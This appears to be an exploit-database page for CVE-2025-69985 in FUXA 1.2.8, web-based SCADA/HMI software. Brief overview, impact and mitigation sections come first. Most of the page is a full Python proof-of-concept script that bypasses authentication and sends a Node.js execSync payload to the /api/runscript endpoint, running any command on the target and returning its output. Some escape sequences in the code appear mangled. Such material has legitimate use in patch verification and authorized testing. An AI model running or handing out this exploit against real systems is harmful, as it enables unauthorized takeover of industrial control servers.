Skip to main content

FUXA 1.2.8 – Authentication Bypass + RCE Exploit

Categories: WebApps

Overview

The FUXA 1.2.8 vulnerability, identified as CVE-2025-69985, presents a critical security risk due to its authentication bypass and remote code execution (RCE) capabilities. This flaw allows malicious actors to gain unauthorized access to systems, execute arbitrary code, and potentially compromise sensitive data without proper authentication. As organizations increasingly rely on FUXA for their operational needs, the urgency to address this vulnerability becomes paramount.

Technical Details

The vulnerability stems from inadequate validation mechanisms in the authentication process of FUXA 1.2.8. By exploiting this flaw, an attacker can bypass authentication protocols, gaining access to the system as an authorized user. Once inside, the attacker can leverage the RCE exploit to execute arbitrary commands on the server, leading to full system compromise. For instance, an attacker could upload a malicious payload that allows them to take control of the server or exfiltrate sensitive information.

This vulnerability is particularly concerning as it does not require prior knowledge of the user credentials, making it easier for attackers to exploit. Security researchers have demonstrated that by sending specially crafted requests to the FUXA server, they can manipulate the authentication flow and gain unauthorized access, which opens the door to further exploits.

Impact

The potential consequences of CVE-2025-69985 are severe. Organizations that fail to patch this vulnerability risk significant data breaches, loss of sensitive information, and potential financial repercussions. Additionally, the compromised systems can be used as a launchpad for further attacks on internal networks, leading to broader security incidents.

Mitigation

To protect against the FUXA 1.2.8 vulnerability, organizations should immediately implement the latest security patches provided by the vendor. Regularly updating software is crucial in mitigating known vulnerabilities. Security professionals should also conduct thorough audits of their systems to identify any instances of the vulnerable version in use.

Moreover, adopting a defense-in-depth strategy is advisable. This includes employing intrusion detection systems (IDS) to monitor for suspicious activity, implementing strict access controls, and conducting regular penetration testing to identify and remediate vulnerabilities proactively. By fostering a culture of security awareness and responsiveness, organizations can better safeguard their environments against threats like CVE-2025-69985.

Proof of Concept (PoC)

poc.py
# Exploit Title: FUXA 1.2.8 - Authentication Bypass + RCE Exploit
# Date: 2026-02-25
# Exploit Author: Joshua van der Poll (https://github.com/joshuavanderpoll/)
# Software Link: https://github.com/frangoteam/FUXA/tree/v1.2.8
# Vendor Homepage: https://github.com/frangoteam/FUXA
# Version: FUXA <= 1.2.8
# Tested on: Debian GNU/Linux 12
# CVE : CVE-2025-69985

"""
FUXA ≤ 1.2.8 Authentication Bypass + RCE Exploit
CVE-2025-69985

This Python exploit targets CVE-2025-69985, an authentication bypass in FUXA
(web-based SCADA/HMI software) that allows access to the protected /api/runscript
endpoint even when authentication is enabled.

By sending a crafted JavaScript payload using child_process.execSync, it achieves
full remote command execution with complete stdout capture (no reverse shell needed).

Author: Joshua van der Poll (https://github.com/joshuavanderpoll/CVE-2025-69985)
Created: February 2026
Version: 1.0
License: GNU General Public License v3.0 (GPL-3.0)
Disclaimer: Use responsibly. This is a proof-of-concept for a patched
                 vulnerability (fixed in FUXA > 1.2.8). Do not use against
                 systems you do not own or have explicit permission to test.

Usage:
    python3 exploit.py -u http://target:1881 -c "whoami"
"""

import requests
import argparse
import sys
import urllib3

# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Colors
GREEN = '33[92m'
YELLOW = '33[93m'
RED = '33[91m'
BLUE = '33[94m'
CYAN = '33[96m'
RESET = '33[0m'

def print_status(msg, color=BLUE, symbol="[*]"):
    print(f"{color}{symbol} {msg}{RESET}")

def print_success(msg):
    print_status(msg, GREEN, "[+]")

def print_warning(msg):
    print_status(msg, YELLOW, "[!]")

def print_error(msg, exc=None):
    print_status(msg, RED, "[-]")
    if exc:
        print(f" → {type(exc).__name__}: {exc}")
        import traceback
        traceback.print_exc(limit=2)

def build_js_payload(command: str) -> str:
    """Build safe Node.js payload with proper escaping"""
    escaped = (command
               .replace('\', '\\')
               .replace('"', '\"')
               .replace('`', '\`')
               .replace('n', '\n'))
    
    js = f"""const cp = require("child_process");
try {{
    const result = cp.execSync("{escaped}", {{ encoding: "utf8" }});
    return result.toString();
}} catch (err) {{
    return "ERROR: " + err.message +
           (err.stdout ? "\nSTDOUT: " + err.stdout.toString() : "") +
           (err.stderr ? "\nSTDERR: " + err.stderr.toString() : "");
}}"""
    return js

def run_command(session, base_url, command):
    print_status(f"Preparing payload → executing: {command}")
   
    js_code = build_js_payload(command)
    payload = {
        "params": {
            "script": {
                "parameters": [],
                "mode": "",
                "id": "exploit",
                "name": "exploit",
                "code": js_code,
                "test": js_code
            },
            "toLogEvent": False
        }
    }

    headers = {
        "Content-Type": "application/json",
        "Referer": f"{base_url}/fuxa"
    }

    print_status("Sending exploit request to /api/runscript ...")
    try:
        resp = session.post(
            f"{base_url}/api/runscript",
            json=payload,
            headers=headers,
            timeout=15,
            verify=False
        )

        print_status(f"Response status: {resp.status_code}", CYAN)

        if resp.status_code == 200:
            output = resp.text.strip()
            print_success("Command executed successfully (CVE-2025-69985 bypass)!")
            print(f"n{GREEN}=== COMMAND OUTPUT ==={RESET}")
            print(output if output else "(no output)")
            print(f"{GREEN}======================{RESET}n")
            return True
        else:
            print_error(f"Server returned {resp.status_code}")
            if resp.text.strip():
                print(f"Body preview: {resp.text[:500]}")
            return False

    except requests.exceptions.Timeout:
        print_warning("Request timed out (command may still have executed)")
        return False
    except Exception as e:
        print_error("Request failed", e)
        return False

def exploit_command(base_url, command):
    session = requests.Session()
    session.verify = False

    # Execute command
    success = run_command(session, base_url, command)

    if success:
        print("n" + "="*70)
        print(f" {GREEN}Exploit completed!.{RESET}")
        print("="*70 + "n")
    else:
        print_warning("Exploit may require checking target version / network")

def main():
    parser = argparse.ArgumentParser(
        description="FUXA ≤ 1.2.8 Auth Bypass + RCE (CVE-2025-69985)"
    )
    parser.add_argument('-u', '--url', required=True, help="Target URL (http(s)://host:port)")
    parser.add_argument('-c', '--cmd', required=True, help="Command to execute on target")
    args = parser.parse_args()

    base_url = args.url.rstrip('/')

    print(f"n {BLUE}Target :{RESET} {base_url}")
    print(f" {BLUE}Command:{RESET} {args.cmd}n")

    try:
        exploit_command(
            base_url=base_url,
            command=args.cmd
        )
    except KeyboardInterrupt:
        print_warning("Interrupted by user")
        sys.exit(2)
    except Exception as e:
        print_error("Unexpected fatal error", e)
        sys.exit(3)

if __name__ == "__main__":
    main()

Security Disclaimer

This exploit is provided for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal and may result in severe legal consequences. Always ensure you have explicit permission before testing vulnerabilities.

sh3llz@loading:~$
Loading security modules...